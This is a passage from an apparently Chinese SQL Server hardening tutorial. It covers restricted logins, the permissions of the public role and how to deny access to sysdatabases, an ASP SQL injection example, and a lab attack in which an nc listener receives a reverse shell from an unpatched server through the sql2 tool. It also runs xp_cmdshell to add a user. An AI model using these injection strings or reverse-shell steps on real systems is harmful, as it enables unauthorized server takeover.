1)、新建aaa用户
如图17,新建登录后出现图18界面,输入用户名aaa,在输入个强壮的密码。
图17
图18
2)、设置权限
如图18,在“服务器角色”选项中什么也不选,如图19,在“数据库访问”选项中只选“xyz”库,也就是说只让aaa用户访问xyz库。“数据库角色中允许”只选默认的“public”。
图19
图20
3)、测试
设置好后,用aaa用户登陆“SQL 查询分析器”,如图21,执行exec xp_cmdshell 'net user user1 /add',出现了期待的结果,没有权限执行。
图21
接着执行SELECT name FROM sysdatabases where dbid>6,期待的结果是没有权限执行,可实际的结果和图10的查询结果一模一样,aaa用户不是没有master库的权限吗?aaa用户除了不能访问自己建的库wz_cxxt_new外,其它的库都能访问,问题出在哪呢?
问题出在public 角色,下面这段话是SQL Server帮助中写的。
ublic 角色是一个特殊的数据库角色,每个数据库用户都属于它。public 角色:
· 捕获数据库中用户的所有默认权限。
· 无法将用户、组或角色指派给它,因为默认情况下它们即属于该角色。
· 含在每个数据库中,包括 master、msdb、tempdb、model 和所有用户数据库。
· 无法除去。
如图22是master库中的“public”角色,双击“public”,在界面中单击“权限”,出现图23界面,可以看到该角色具有sysdatabases的访问权限。可以看到权限分得非常细,有select、insert、update、delete等,如图24,把权限改为禁止,再执行SELECT name FROM sysdatabases时出现了“拒绝了对对象 'sysdatabases'(数据库 'master',所有者 'dbo')的 SELECT 权限。”的提示。
图22
图23
图24
Public角色默认没有执行扩展存储过程的权限,但可以赋予该角色执行的权限,有访问库的权限,也可以去掉。看到这,是不是觉得非常麻烦,本来权限的设置就是个双刃剑,设置得过于宽松会有安全漏洞,过于严格在程序运行时可能会出问题,本文无法给出一个彻底的解决方案,只要在懂得原理的基础上,在实践中不断摸索才能理出一个最佳方案。
3、注入
对于SQL Server+ASP的注入,有一种是ASP连接SQL Server用户的权限足够大,而ASP程序本身有漏洞,而从而构造出类似http://www.***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 这样的SQL语句,根据前文讲的原理暴出库、表及相应的纪录。
关于注入有许多精彩和经典的文章,还有像NBSI2那样好用的工具,在此就不班门弄斧了。
三、SQL Server不打补丁的漏洞
小王的SQL Server是安装在win 2000上的,没有打补丁,没打补丁的SQL Server就是个大漏勺,无论你的权限设置的多么严格都是一张一捅就破的烂纸。下面的例子是对有漏洞的SQL Serve(安装在192.168.113.10这台机器上)的攻击,实验中用到了两个工具,nc和sql2,nc别名瑞士军刀,是古老且十分强大的网络工具,如果想知道详细用法请参考网上的相关资料,sql2是专门攻击有漏洞的SQL Serve(sp2以下,含sp2),过程如下:
如图25,在我的机器(IP地址为192.168.113.207)的命令窗口下(运行cmd)运行nc –l –p 77,意思是在本机开个77的端口
新建一个命令窗口,运行sql2 192.168.113.10 192.168.113.207 77 0
如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc监视窗口就会出现下图26的界面,注意!这个界面可是装有SQL Serve机器的,换句话,我们已经入侵到这台机器了。接着看下图27,用ipconfig 查的地址是192.168.113.10,它归你控制了,简单吧!
图25
图26